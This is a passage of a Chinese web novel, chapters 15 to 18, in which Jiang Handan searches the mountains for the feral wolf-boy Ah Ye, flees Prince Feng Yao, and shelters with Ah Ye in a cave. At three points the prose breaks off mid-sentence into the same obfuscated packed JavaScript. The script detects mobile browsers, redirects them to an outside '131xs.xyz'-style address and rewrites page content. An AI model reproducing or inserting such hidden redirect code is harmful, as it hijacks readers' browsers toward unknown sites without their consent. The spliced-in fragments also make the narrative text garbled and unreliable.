炸炉是炼丹时最严重的事故。 所以虞仙芝给了她硫磺便不再给她硝石与木炭,不过这难不倒姜菡萏,她只消一句吩咐,就把补齐了。 此时硫磺正洒了些在硝石匣子里。 姜菡萏心里微微一紧,还好,不曾点火,炸不了炉。 待收拾好了,丹炉重新点起来的时候,姜菡萏看着炉中的火焰慢慢安静下来。 * 第二天雨雪仍然没有停。 又是雨,又是雪,雪落在地上即化,地上一片泥泞。 那名府兵被领进院中的时候,就是这样,半身是泥,全身都湿透了。 “郭校尉带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532530|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着属下们追了一整晚,都没有找到那狼人少年的踪影,他好像一进山林就消失了。郭校尉带着人继续进山,命属下先来回话,再给他们捎些干粮。” 昨晚府兵们出去得急,什么也没带。 姜菡萏命人去准备,然后给府兵们预备好了赏钱,每人五十两银子,找到人回来再翻一倍。 那府兵本是又饿又累,一闻此言,立马红光满面,表示饭也不用吃了,多叫几个人,带上干粮就走。 一天……两天……三天…… 还是没有消息。 姜菡萏终于明白自己那一晚为何那样心神不宁。 阿夜……从来不是普通人,不能以常理度之。 他很可能……再也找不到了。 这样大张旗鼓的寻找到底还是惊动了人。 这日午后,雨雪终于停了,风曜来到别院拜访。 “家主大人到底是丢了什么东西?别院的府兵好像要把西山都翻过来了。” 风曜锦袍玉带,一贯地雍容华贵,他托着茶,小饮一口,姿势优雅,“菡萏妹妹,丢了什么直接说,我帮着你找回来,好不好?” “谢殿下费心,别院的人还够用,就不劳烦殿下了。” 茶盏放回桌上,风曜望着姜菡萏:“依我看,丢的不是东西,而是那个兽奴吧?” “怎么会?”姜菡萏道,“他好端端在后院,不过颈上的铁圈取不下来,他好像生病了。” “当真?” “殿下不信,去瞧瞧就好了。只是殿下小心,那人确实凶性未除,可不要让他伤了殿下。” 姜菡萏说着,带风曜去后院。 屋子锁着,但屋内不时传来一声咆哮,伴随着铁链声响。 里面有一名府兵假扮的阿夜。 风曜是千金之子,轻易不会犯险,只隔着门缝看了一眼。 门窗紧闭,屋内昏暗,“阿夜”蜷缩在墙角,蓬头乱发遮住面颊,不住低吼。 “看来是我多虑了。”风曜收回视线,直起身,“在就好。菡萏妹妹毕竟应过圣旨,若是还未驯成,人却跑了,妹妹岂不成了抗旨不遵?” “是呀。”姜菡萏皱眉,“我就怕还没驯成,人就死了,可怎么办才好?” “要不,我把人带走?就算是死,死在我的手里,也不关妹妹的事了。” 姜菡萏想了想:“那……我再治治,若是治不好,殿下再来带他走。” 风曜微笑:“ 一言为定。” 姜菡萏颔首,送客。 阿福全程紧绷,见风曜上轿走了,才松了一口气:“阿弥陀佛,还好小姐神机妙算,知道安排个假的,好歹骗了过去。” “不。”姜菡萏望着风曜远去的仪仗,面沉如水。 风曜多疑,一定会派人跟上府兵。 一旦被风曜的人找到阿夜,那就完了。 姜菡萏下定决心:“给我备马,带上府里所有府兵家丁,进山。” 阿福大吃一惊:“小姐要亲自去找人?” 对。 她要亲自去,要赶在风曜之前。 她虽然不会寻人,但她有一点特别之处。 那就是,阿夜现在应该特别恨她。 她可以充当诱饵,把阿夜引出来。 ——如果阿夜还能出来的话。 16. 第 16 章 姜菡萏在西山住了十年,但从来没有踏足过真正的西山。 西山山脉连绵,共有高高低低十一座山峰,在京城的西面形成一道巨大的屏障。 冬月时节,天寒地冻,草木凋零,许多大树只剩下光秃秃的枝桠,地面上积着厚厚一层落叶,连着下了好几天雨雪,落叶软塌塌的,底下潮湿,一踩一个坑。 也有一些树木终年不凋,在阴沉沉的天空下像一把张开的巨伞,挡住天光,树下光线幽暗,偶尔传来一点断枝响动,那是被惊走的小兽留下的。 “我说,这人是非找不可吗?交给郭俊他们不就好了?还有、还有暗卫呢……啊!怎么又是个坑!” 姜祯深一脚浅一脚地踩在落叶泥潭里,身上的猎装乃是云绵织成,放在筵席上的七宝树灯下可以宝光灼灼,闪瞎旁人的眼睛。但到了山林间却是不堪一击,被划拉得支离破碎,看上去要多凄惨有多凄惨。 姜家家主从来就没有这么狼狈过。 可是有什么法子呢?妹妹非要来,他拦不住,只能一道跟来了。 姜菡萏吃过逃难的苦头,懂得武装自己,蚕丝小袄外头加了一层皮革软甲,最外头裹着貂裘,虽厚重沉实,但一点不冷。临出头的时候她拿了一件给姜祯,姜祯非是不要,嫌穿了臃肿。 “哥,你回去吧。” 姜菡萏第五次道。 “要回一起回!”姜祯目光炯炯看着妹妹,十分期待妹妹点头。 但姜菡萏只是叹了一口气,继续往前走。 姜祯十分哀怨。 到了半山腰,他们停下来,郭俊带着府兵在这里接应他们。 “三天前,属下就是追到这里追丢了。”郭俊沉声道。 三天的雨雪之后,血迹早已经被抹去。地上是层层叠叠的枯叶,头顶是被大树遮蔽的天空,不知名的鸟叫声凄厉地响起,听着相当瘆人。 西山是皇家猎场,平民百姓不敢得进山。但承德帝继位后,围猎的场地只限于别宫中,西山的草木与走兽肆意生长,树木参天,阴森吓人。 姜菡萏先问郭俊在山中有没有碰到别的人马。 “有。”郭俊道,“是羽林卫。他们看着也像是在找人。属下带着人避开了他们,没有碰面。” 姜菡萏点点头,从怀里拿出好几只香囊。 里面有玫瑰糖,也有玫瑰香膏,阿夜鼻子灵,应该闻得出这是她身上常带的味道。 郭俊兵分几路,各自带着香囊,散入山林深处。 姜菡萏深知自己的身体能爬到这半山就已经了不起了,自家哥哥也是同款的废物点心,也就没跟上去拖后腿,寻了个略高一点的地势,停下来休息。 她身边随侍的不是嬷母就是侍女,一个也没带出来,只留了两个府兵。姜祯那边留了四名随从,里面应该有暗卫。 府兵和随从们一起砍下树枝,垫高地势。兄妹们都累得不行了,也没什么挑的,直接坐下。 “呲啦”一声响,姜祯的衣裳被划破一条口子。 虱子多了不痒,姜祯已经麻木了。 姜菡萏掏出一只玫瑰馅饼递给他。 “……”姜祯震惊,“你带了多少东西。” 姜菡萏心说逃过难的人,去哪里都得带点吃食和银钱。 自从听说月下徊要被拿去卖,苏妈妈生怕后面姜菡萏用不着了,每天都变着法儿去花房——反正鲜花保存不易,现在能用一朵是一朵,让厨房做了许多玫瑰糖、玫瑰馅饼、玫瑰酱。 就在兄妹俩坐在树下吃馅饼的时候,不远处传来了沙沙声,那是脚步踩在枯叶上发出的声音。 郭俊他们这么快就回来了? 姜菡萏才这样想着,就觉出不对。 但这时候想躲已经来不及了,独属于羽林卫的明光铠已经在阴沉的光线下折射出独有的光芒。 最前面那人身姿颀长,看清那人的脸后,姜菡萏手里的玫瑰馅饼捏得变形。 竟然是风曜。 她猜到风曜会派人来,但没想到,他会亲自来。 姜祯脱口而出:“你怎么来了?” “不知是谁给父皇吹的风,说那兽奴私逃,父皇对那名兽奴一直念念不忘,碍于已经给了菡萏妹妹,他不好要回来。一听说人跑了,便说那是无主之物,谁找到就归谁。” 风曜道,“我怕别人找着,所以自动请缨,没想到你们都在,可见我是来对了。那名兽奴对菡萏妹妹来说,当真很重要,对吧?” 他望着姜菡萏,语气很温和,目光也很温柔。 姜祯道:“你知道就好,那兽奴是我妹妹的,谁要想跟她抢,我对谁不客气。” 风曜微微笑了一下,只有非常非常了解他的人,才能看懂这温文一笑之下的倨傲与轻蔑,他道:“若我非要抢呢?” “那我——我——”姜祯想放几句狠话,可惜敌我人数悬殊,风曜身边的羽林卫站在密林中,一眼望不到头,不知有多少人。 风曜视线一转,落在姜菡萏身上:“我也可以不抢,并且找到之后,送到妹妹面前。” 姜菡萏手指慢慢放松一点,继续咬了一口饼,用一种不甚在意的语气道:“是吗?那我就先谢过殿下了。” 风曜微微笑:“但我有条件。” 姜菡萏心道就知道没这么简单。 “妹妹带的玫瑰饼还有吗?给我一个尝尝?” 姜菡萏愣了一下,拿出一只,上前几步,递给风曜:“殿下若不嫌弃,请慢用。” 风曜却没接,只看着她。她个子小,风曜却已经是成年男子的体形,她只到风曜肩头,身形的差异带来莫名的压力,她有想逃的冲动。 “殿下,”她把饼往前递了递,“请。” “菡萏妹妹从前都是唤我‘三哥’,但自从那日救兽奴,就突然只唤‘殿下’。” 风曜伸出手,却没有接饼,而是捉住了姜菡萏的手腕,“妹妹可不可以告诉我,这是为什么?是因为那个兽奴吗?” “哥哥妹妹的,都是小时候唤的,现在我已及笄,殿下也快要加冠,自然不能再像小时候那样随意了。” 姜菡萏一面说着,一面试图挣脱,风曜的手抓得不是很紧,却是一种不容拒绝的力道,他的身影逆着光,低头看着她:“可是妹妹这样唤我,实在生分,令我伤心。我帮妹妹把兽奴找回来,妹妹还像从前那样唤我三哥,可好?” 姜菡萏知道现在应该点头。 敌众我寡,拿鸡蛋往石头上碰能有什么好果子吃? 可是这密林里的光线太过阴森,把风曜的脸映成一种可怕的铁青色……太像了,和上一世太像了…… 上一世他就是这样铁青着脸,紧紧捉住她,另一只手高高举起长剑。 “菡萏,大央要亡了,我是亡国之君,活着只能令祖宗蒙羞,你是我的皇后,你陪我一起死吧!” 雪亮剑光落下,巨痛穿胸而过。 这些天反复在噩梦中出现的景象被拉到了现实,那个削瘦的疯狂的新帝和风曜的脸完全重合。 当时濒死时的痛苦被悉数唤醒,这些天里每一次见到风曜,她都充满恐惧,此时此刻再也压抑不住。 “不——不!” 姜菡萏脸上白到没有一丝血色,仓惶尖叫,“放开我!放开我!” “妹妹!”姜祯大喝,身边的随从和府兵拔刀,冲向风曜。 羽林卫护主,顿时上前,战在一处。 密林一时间刀光剑影,姜祯拔出佩剑冲过来,睚眦欲裂:“风曜!你对我妹妹做什么?!” 风曜带着姜菡萏后退:“我什么也没——” “做”字还没出口,姜菡萏低下头,一口咬在风曜手上。 “啊!”风曜受痛,松手。 姜菡萏夺手便逃,慌不择路,天光阴沉,四下昏黄,树木一重又一重,像是黄泉路上拦路的幽魂。 心跳狂乱,神志恍惚,她模模糊糊地想,也许重生只是幻觉,她就在前世,等着她的只有死。 不,不! 这一次她一定要逃,一定要活下去—— 忽地,一脚踏空,带着一身的断枝枯叶,猛地往下坠。 她甚至来不及发出一声惊呼,意识就被黑暗吞没。 * 不知过了多久,姜菡萏醒来。 周遭一片黑暗,伸手不见五指。 没有人,也没有风,安静得不像是人间。 有那么片刻,姜菡萏简直怀疑自己已经死了。 她摸了摸四周,略一动弹就发出“沙沙”声,身下全是枯叶,厚厚一层。 也许正是这个原因,她才没有摔成肉饼。 但右腿一受力,脚踝就处传来一阵钻心的疼痛,疼得她迸出一身冷汗。 也不知是断了还是扭了。 真是够倒霉的。 都怪那树林子不好,阴森森的太吓人了,不然她一定可以骗住风曜帮她找人。 痛定思痛半晌,终于还是承认,尔虞我诈谋算人心什么的,真的太难了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532531|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一起掉下来的还有不少断枝,她勉强摸到一根,虽有些枝桠,高低能用,遂杵着站起来。 “有人吗?”她低低问了一声,这声音激起了一阵回响,除此之外没有一丝杂音,没有人声,更没有她担心的兽声。 她稍微放心了一点,放大喉咙,大喊:“哥哥!” 耳边一时间全是回声:“哥哥……哥哥……哥哥……” 声音像是被困在这里,无法传到外面。 她跑的时候慌不择路,根本不知道自己跑到哪里,跑出去多远。 她拿树枝当拐杖,慢慢地在这片黑暗中探路。 这里似乎是一座巨大的山洞,类似于矿洞,有无数的分岔——发现这一点之后姜菡萏不敢再走了,万一迷失其中,神仙都难救。 她回到原来的地方,开始等待。 黑暗中无法计算时间的流逝,她只觉得越坐越冷,越坐越害怕——太黑了,不知道这里多大,也不知道这里有什么,总觉得下一刻有什么东西会蹿出来。 而且脚踝也越来越疼,开始肿起来。 黑暗中的等待让人发疯,她感觉到自己的心跳越来越快,呼吸越来越急促。 就在这个时候,她隐约感觉到好像有一抹亮光闪了一下。 极其微弱的光,像是十丈开外瞧见一只萤火虫。 但周围太黑了,再微弱的光都异常鲜明。 她紧紧地盯着那个方向。 咚,咚,咚,她听到自己的心跳声,紧张得难以呼吸。 终于终于,前方的黑暗中,再一次闪过一抹微光。 如来佛祖,观音菩萨,无始天尊,玉皇大帝……姜菡萏把她听过的神明都念了个遍。 她起身杵起树枝,朝着那抹微光的方向走去。 光芒停顿了一会儿,又熄灭。 过了一会儿,又现显。 遥远的前方似乎有一只巨大的萤火虫,肚子忽闪忽闪。 姜菡萏借着这点微弱的亮光,一径往前。 亮光越来越明显了。 她不由加快了脚步,树枝杵在地上,发出沉闷声响。 忽然,光芒在闪过之后,不再亮起。 好在之前光芒亮起时瞧得分明,前方已经没有岔路,姜菡萏在黑暗中摸索着前行。 渐渐嗅到一丝清新空气,带着山野间独有的草木气息。 这是快到出口了! 姜菡萏高兴起来,还没等她加紧脚步,黑暗中忽然传来一声低吼,下一瞬,她就被扑到山壁上。 有野兽! 在意识这点的时候她心里猛然一沉,双手无意识地想要抵挡,碰到的却不是野兽的毛皮,而是人类的胸膛。 同时,滚烫的呼吸从耳边传来,锋利的牙齿已经抵在颈边。 兽人?!难道这世上还有第二个阿夜? “阿夜?!”姜菡萏试探着喊出声,“是你吗?” 黑暗中的动作并没有停止,牙齿一口咬到了姜菡萏的肩颈上,但没有太用力。 姜菡萏顿时确定了,“是我,我是菡萏!”姜菡萏手抚向他的头脸,触手之处皆是滚烫,他的烧还没有退。 “呜……” 阿夜在低吼,手依然紧紧箍着她的咽喉,连日的高烧烧毁了他的神智,他只是一头饥饿到极点的兽,除了食欲,什么也没剩下。 手底下的骨肉细软柔嫩,分明是上好的鲜嫩猎物,只要轻轻一咬就能吸出鲜血,饱餐一顿。 咬她,撕碎她,吞了她! 脑子里有这样的声音在狂吼,身体的力气却像是被耗光,牙齿已经触碰到肌肤,却无法用力。 一股甜馥的香气钻进他的迟钝的鼻孔,像一只小手撩拔他已经昏沉的记忆。 他在哪里闻过这香味……香味带着温暖清甜的又安全的气息,好像有这香味的地方就是世上最好的地方。 他又嗅了嗅,头在她颈间埋得更深些,然后在香气里嗅出了痛苦和怨恨的滋味。 他想起来了——颈间的伤口痛入骨髓,他无法捕猎,只能在洞中等死,这一切都是因为她! “嗷呜!” 咬死她! “……阿夜?” 姜菡萏在黑暗中什么也看不清,只感觉他一直抵在她的颈间低吼,像是威胁,又像是挣扎。 “你这人,怎么这么能藏啊?” 居然躲在这里,这谁找得到? 阿夜顿了一下。 人…… 他……是人吗? 17. 第 17 章 被饥饿支配的欲望暂时消退,他的眼力在黑暗中也能看清她面庞的轮廓,他记得她的笑容,记得她递过来的糖,记得烤熟的肉……那些和最后一夜她的命令混在一处,他的大脑凌乱。 姜菡萏觉得他不对劲,好像烧了这么些天,脑子已经烧糊涂了。 她慢慢抡起手里的树枝,用力一下,砸向阿夜的后颈。 阿夜发出一声低吼。 这一声吼特别近,让姜菡萏以为自己不单没能敲晕他,反而激惹出他的凶性,正攥着树枝准备给他再来一下,他的脑袋软软地搁在了姜菡萏肩上。 姜菡萏松了一口气,又有点担心。 她的力气能有多大?这个姿势也不好使劲,就这样还能把他敲晕,可见他已经非常虚弱。 她试图架着阿夜往前走,结果非但没扶起,一动之下,阿夜整个人摔在地上,她扶都扶不起来。 她弯下腰,徒劳地想拉起阿夜,但阿夜就像是有一千斤重,除了把自己累得气吁喘喘、并且腿更疼之外,她一无所获。 然后她想到了刚才的光芒。 她先扔下阿夜,自己顺着山壁继续往前走,慢慢听见风声,然后眼前突然开阔,她来到一处山洞。 窗外已经是黑夜,但有淡淡的星光,洞外是山石树木,将洞口遮掩得很隐蔽,只露出一角空缺,可以进出。 就着这星光,姜菡萏在地上找到了火折子——这就是那道光亮的来源。 她一口气吹亮。 光芒充满山洞内。 山洞不大,空荡荡什么也没有,只有几块兽皮。 按兽皮铺成的大小,刚好够阿夜蜷缩着睡觉。 所以……这是阿夜的床? 姜菡萏几乎可以看见阿夜躺在这里百无聊赖玩火折子的模样。 吹一下,亮起。 再吹一下,熄灭。 这可能是他从小到大唯一的玩具。 这么想着心里不由有些软软的。 有火折子就好办了,她返回山道里,在阿夜身边蹲下。 阿夜无知无觉躺在地上,身上的血迹已经干涸,但颈间的伤口红肿发白,看上去非常可怕。 姜菡萏带了药,不止一份。每一支分头寻人的小队都得到一个命令,人能不能带回姜家在其次,找到人先按住上一顿药再说。 阿夜现在的伤势明显比拆铁圈时恶化了不少,姜菡萏也不知道现在这药对他有多大用处,但这会儿只能死马当活马医了。 她拖不动阿夜,只能把他先扶起来靠山壁坐着,然后上药。 做完这一切,她靠在阿夜身边坐下。 原本只是想歇一下,可也许是太累了,不知不觉,她睡着了。 她本身穿着厚实,身边又靠着个热力满满的人肉火炉,睡着睡着就依偎过去,等到她再次睁开眼睛,就发现自己整个人窝在阿夜怀里。 她连忙起身。 幸好阿夜还没醒,仍然保持着之前的坐姿,一动不动。 等等…… 姜菡萏觉得有点不对,再次俯下身,脑袋贴上阿夜的胸膛。 砰砰砰砰砰…… 心跳异常迅速,像是有个小人儿在里面擂鼓。 “……”姜菡萏抬起头,“阿夜,你什么时候学会装睡了?” 阿夜仍旧一动不动,但心跳得更快了。 姜菡萏吹亮火折子,就见阿夜头靠在山壁上,眼睛闭上,但眼皮底下的眼珠子急速颤动。 姜菡萏忍不住笑了一下,笑出了声。 阿夜装睡的本事显然不过关,因为听见笑声,他的眉头紧紧皱了起来。 终于,他再也装不下去了,睁开眼睛,抓住姜菡萏的脖颈:“嗷呜!” 这个吼声充满威胁性。 狼就是恩怨分明,睚眦必报。 她给他带来了伤害,他必须以血还血,以牙还牙。 可是他已经没有族人了,这个山洞只剩他一个,孤独地等死。她却从天而降,突然来到他的身边。 就好像,老天爷亲自给他送来的新族人。 “我不知道你能不能听懂,但还是得跟你解释一下。”姜菡萏感觉得到他手上的力道,说是“抓住”,其实没有收紧,她说话毫无阻碍,她看着他,认真道,“铁圈不去除,你的伤口就没办法上药,没办法上药,伤就好不了。所以,我虽然是弄疼了你,但本意是要救你。阿夜,如果不是为了你,我不会来这里。” 这段话太长了,阿夜没听懂。 但阿夜看懂了她的眼神,她的眼神宁静而清澈,没有一丝攻击和危险。 阿夜莫名地,忽然想舔一舔她的脸。 但他隐约知道,她们人之间不搞这一套,不会舔来舔去。 “能走吗?”姜菡萏说着,指了指前面,“能走的话回山洞去,我看看什么辰光了。” 阿夜看懂了她手指的方向,手撑着山壁想要站起来,却失败了,重新跌坐回去,不住喘息。 姜菡萏从来没见过他这样虚弱的模样,这才注意到,他的小腹深陷,瘦出了清晰的肋骨。 “你……该不会一直没吃东西吧?”姜菡萏拿出馅饼,油纸包里还剩三只,一股脑全送到阿夜面前。 不用说话,阿夜看见食物,瞬间两眼放光,抓起一只往嘴里塞,还没咽下去,又塞进去第二只。 准备塞第三只的时候,阿夜的动作顿住,想了想,把第三只馅饼慢慢递给姜菡萏。 姜菡萏心里有点酸酸的,又有点暖暖的:“阿夜吃。” 阿夜听得懂这三个字,可还是没收回手,馅饼往前了一点,就差送到姜菡萏嘴边。 姜菡萏便接过饼,撕下一小半,把大块的递给阿夜。 阿夜迅速塞嘴里。 姜菡萏又掏出一包玫瑰糖。 每一颗都用糯米纸包着,收在荷包里。 “手。” 阿夜没听懂。 姜菡萏便拉过他的手,让他的掌心朝上,然后把荷包拉开口子,放在他手上:“喏,给你的,可以消气了吧?” 阿夜拿着荷包,露出深思的表情,然后拉起姜菡萏的手,用她方才的姿势,把她的掌心摆朝上。 拿出一颗糖,放自己手心。 再拿出一颗糖,放姜菡萏手心。 再拿出一颗糖,放自己手心。 …… 就这么一人一颗,分到最后,荷包里还剩最后一颗,按顺序该放他自己手心,但他犹豫了。 他犹豫的样子,就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532532|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像这颗糖关系着天下存亡那么重要。 姜菡萏托着腮看他分糖,不知道为什么觉得挺有意思的。 然后就见他拿起糖往嘴里送,准备咬成两半。 姜菡萏:“!” 她可不想吃带口水的半颗糖! 立即以迅雷不及掩耳之势,把那颗糖推进他嘴里。 “我够了。”她把自己那份装回荷包里,“等你不够还可以问我要。” 阿夜不知听没听懂,糖入口,甜味扩散,他的眉头松开,眼神变得柔和,眸子变得清澈。 姜菡萏怀疑,假如他有尾巴,此时已经摇起来了。 肉眼可见是哄好了。 吃了点东西,阿夜的体力恢复了一点,撑着山壁站起身。 “啊啊……”他指指前面。 “我知道,那是你家,对不对?” “啊啊。”他在前面带路,走出几步,忽然回头,盯着姜菡萏手里的树枝,忽然一把夺走。 姜菡萏以为他想起了之前的敲晕之仇,下一瞬,阿夜一探手,把她挟了起来。 真的是挟!好像挟了一袋米,或者挎了个篮子。 姜菡萏生平头一回用这种新奇的姿势,被人挟着走。 到了山洞,阿夜把姜菡萏放在兽皮上。 外面天色微明,山石和树木之间露出来一小片天空呈鱼肚白,看样子是天快亮了。 姜菡萏节省火源,熄灭了火折子。 正想去掏药膏的时候,阿夜忽然伸出手,抓住她的鞋子。 姜菡萏:“?” 她穿的是一双羊皮小靴,为着防寒保暖,靴筒高到膝下,用羊皮编成的细绳束住,以免下滑。 阿夜显然对这种靴子毫无办法,托在手里左看右看,不小心牵扯到姜菡萏的摔伤的地方,姜菡萏“嘶”了一声。 阿夜的动作立刻顿住。 “啊啊,啊啊……”阿夜比划,他想脱掉它。 姜菡萏看懂了,她自觉经历了生死,没有什么看不破放不下的,可女孩子家的脚实在太过私密,而且她觉得多半是扭伤,因为不受力就没有那么疼,没有多严重。 “别动。”她板起脸,“过来,给你上药。” 阿夜听懂了“过来”,不是很情愿地、小心翼翼地放下她的腿,然后在她面前半蹲下。 姜菡萏坐着,他半蹲着高出一大截姜菡萏要仰着头才能够得着。 他的自愈力惊人。昨夜她以为伤口已经到了这种程度,带来的药膏未必管用,也许需要带回去让大夫刮骨疗伤之类的……没想到短短一夜过去,发白泛红的地方都好了很多,伤势浅的地方已经有开始收口的趋势。 “真是,铁打的啊……” 姜菡萏喃喃。 上完药,她顺手摸了摸他的胸膛,唔,似乎没有昨晚那么烫了。 不过试人家发不发烧,好像应该试额头来着。 就在她想抬手再摸摸阿夜额头的时候,阿夜忽然退开,转身从山石缝里钻了出去。 他的动作太快,姜菡萏一时没反应过来,只觉得他转身的时候,耳根好像是通红的。 “嗷呜!” 山洞外,传来一声狼嚎。 好像有点气急败坏的意思。 18. 第 18 章 阿夜嚎了一声后就没影了。 姜菡萏觉得,能跑能嚎,说明恢复得不错,能活。 她收好药膏,打算捡些枯枝树叶过来生堆火。 天亮了,哥哥应该可以看到冒出来的青烟。 捡枯枝的时候她捡到了一块石头,浅棕色,上面有斑驳的泥痕,还有不少杂质。 但颜色、手感、气味……都像硫磺。 送到她丹房的硫磺都是净制过的,这是姜菡萏第一次看见天然的硫磺石。再一细瞧,其实山洞里面也有。 也许这就是阿夜选这里当巢穴的原因,硫磺能避蛇虫。 姜菡萏顿时把枯枝抛到了脑后,开始挖起硫磺来。 书上所说,硫磺多伴着铁矿而生,凡属矿藏,多有伴生矿,找到一样,很容易就找到另一样。 就在她坐在地上拿树枝努力挖石头的时候,树影一晃,阿夜回来了。 他的身形敏捷轻盈,从洞口大石上一跃而下,嘴里叼着两只灰茸茸的兔子。 “不错啊,都能打猎了!”姜菡萏夸奖。 阿夜脸上向来是没什么表情的,此时的眼神却有点特别,像有点委屈,又像是做了什么对不起她的事,把兔子往她面前放下,仿佛是接受她的审判。 “这是给我吃?” 姜菡萏有点发愁,连毛带皮的。 “没有热水,怎么拔毛?” 然后就见阿夜叼起一只,咬住脖颈,“呲啦”一下,撕下一层完整的外皮。 姜菡萏:“……” 阿夜很快剥好了一只兔子,然后把姜菡萏之前捡的枯枝落叶收集起来,向姜菡萏伸出手:“啊啊。” 姜菡萏猜是要火折子,昨晚她找来之后还没还给他。 果然阿夜接过火折子,吹亮,然后凑近树枝。 他甚至还知道先烧更容易点着的枯叶! 姜菡萏心中一阵欣慰,没白养那么些天。 火堆燃起来之后,阿夜起身出去,片刻抱了更多的枯枝回来,还带来一根细直的小枝,拿它串起兔子,架在火上。 自己则拿起另一只兔子,大口啖血,生吞活剥,很快便下了肚。 姜菡萏:“……” 吃完兔子,阿夜坐在火堆前,专心致志地烤着兔子,不时往里添些树枝,然后不时抬眼看看姜菡萏。 那眼神好像充满歉疚。 ……对不起,没有芋头,没有红薯,没有山药,只有肉。 你不吃的肉。 洞里暖和起来,并且开始充满肉香。 阿夜闻了闻,大约是凭气味判断出肉已经烤到人类可以食用的程度,有点忐忑地将兔子递给姜菡萏。 姜菡萏接过来。 从昨天下午到今天早晨,姜菡萏只吃了小半块饼,确实也饿了。 兔肉虽然没有作料,但不知是胜在现杀现烤,还是阿夜生来就有大厨天分,火候居然恰到好处,一口下去,鲜嫩无比,汁水四溢。 姜菡萏一口气吃了半只。 “好吃!” 阿夜原本有些紧张的神情渐渐放松,最终定格成一个大大的笑容。 姜菡萏再一次看到他左颊上的酒窝。 “啊啊……”他起身绕姜菡萏身边绕了个圈,蹭了蹭,然后一跃而起,上了洞口那块大石,再一跃,转眼不见了踪影。 敢情一只兔子对于饿了好几天的他来说只够塞牙缝,属于是餐前先垫吧一口,看着姜菡萏烤吃好,他就放心觅食去了。 * 姜菡萏继续挖那块硫磺,不时往火堆里继续加点树枝。 青烟袅袅向洞外飘去。 太阳只在刚出来的时候露了一下脸,很快又被阴云遮住,无法分辨时辰。 火已经烧了一阵了,按说外面应该已经看见了,就算府兵一时赶不过来,暗卫也该先到的。 但外面除了风声,完全没有别的动静。 野兽的捕猎并不容易,阿夜直到天黑后才回来,还带回来两张兽皮,连同之前两张兔子皮,一起搁到山石上风干。 想来山洞的兽皮就是这样炮制的。 阿夜带回来的还有一根粗大的枯树。 他没有刀斧,只有拳头。 姜菡萏看着他一拳一拳将枯树砸到碎裂,当真有几分叹为观止。 大块的木柴能燃烧一整夜,不用守着添柴。 睡前再给阿夜涂了一遍药。 阿夜不知是疼还是怎地,一直紧紧攥着拳头,手臂的肌肉绷得紧紧的。 姜菡萏抬起手,阿夜整个背脊都绷直了。 然后姜菡萏的手落在阿夜额头上。 唔,烧还是有一点,不过比昨夜那惊人的高热已经好很多了。 在她收手的同时,阿夜松了一口气。 不知是如释重负,还是若有所失。 火堆光亮温暖,底下的兽皮毛茸茸的,也很暖和,姜菡萏开始昏昏欲睡。 然后就感觉有人靠过来。 瞌睡虫立刻飞了一半。 “阿夜!” 她的声音有点大,正准备靠过来睡觉的阿夜有点懵,两眼睁得圆圆地看着她。 “我们不能靠一起睡。”姜菡萏想了想,把底下的兽皮分吧分吧,分作两半,划了个范围,“我睡这边,你睡那边。” “啊?”阿夜困惑。 昨夜不是在一起睡的吗?而且同伴不都是挤在一起睡觉的吗?又暖和,又安全,如果被偷袭,也能第一时间发现。 他喜欢靠在一起睡,她软软的暖暖的香香的,如果她和他一起在族中长大,他愿意天天挨着她睡。 “不可以就是不可以。”姜菡萏板起脸,指向另一边。 阿夜垂头丧气靠到另一边去了,忽然低头闻了闻自己。 姜菡萏顿时想起他跳进池塘洗的那个要命的冷水澡,连忙道:“不是嫌弃你,你不臭,就是,你是男子,我是女子,我们不能靠在一起,懂吗?” 阿夜不懂。但阿夜看懂了她努力解释的表情,那好像不是讨厌。 于是他安心了一点,乖乖蜷缩起来睡觉。 他说睡就睡,很快发出匀长的呼吸声。 姜菡萏就没他那么快了,躺在兽皮上翻来覆去,不知道外面是个什么光景。 按说白天的青烟、夜晚的火光,应该很显眼,为什么一天的时间过去,还没有人找来? 她良久才睡着,又梦到了前世,在鲜血浸透的泥沼里逃命,双腿发软,怎么也跑不起来,右腿还一阵阵生疼…… 姜菡萏喘息着睁开眼睛,发现阿夜半蹲在她脚下,手扶住她的右腿。 是她梦里乱蹬,把自己疼醒了。 梦里的恐惧在看见阿夜的第一眼里像潮水般退去——上一世没有阿夜,有阿夜的,便是新生。 “没事了,去睡……” 一个“吧”字还在喉咙里,阿夜忽然拉住她靴筒上的羊皮绳。 姜菡萏立即坐起来:“不行!” 阿夜摇头,眼神出奇地认真。 他不知道怎么解,但他有的是力气。 轻轻一扯,皮绳便断了。 姜菡萏:“!” 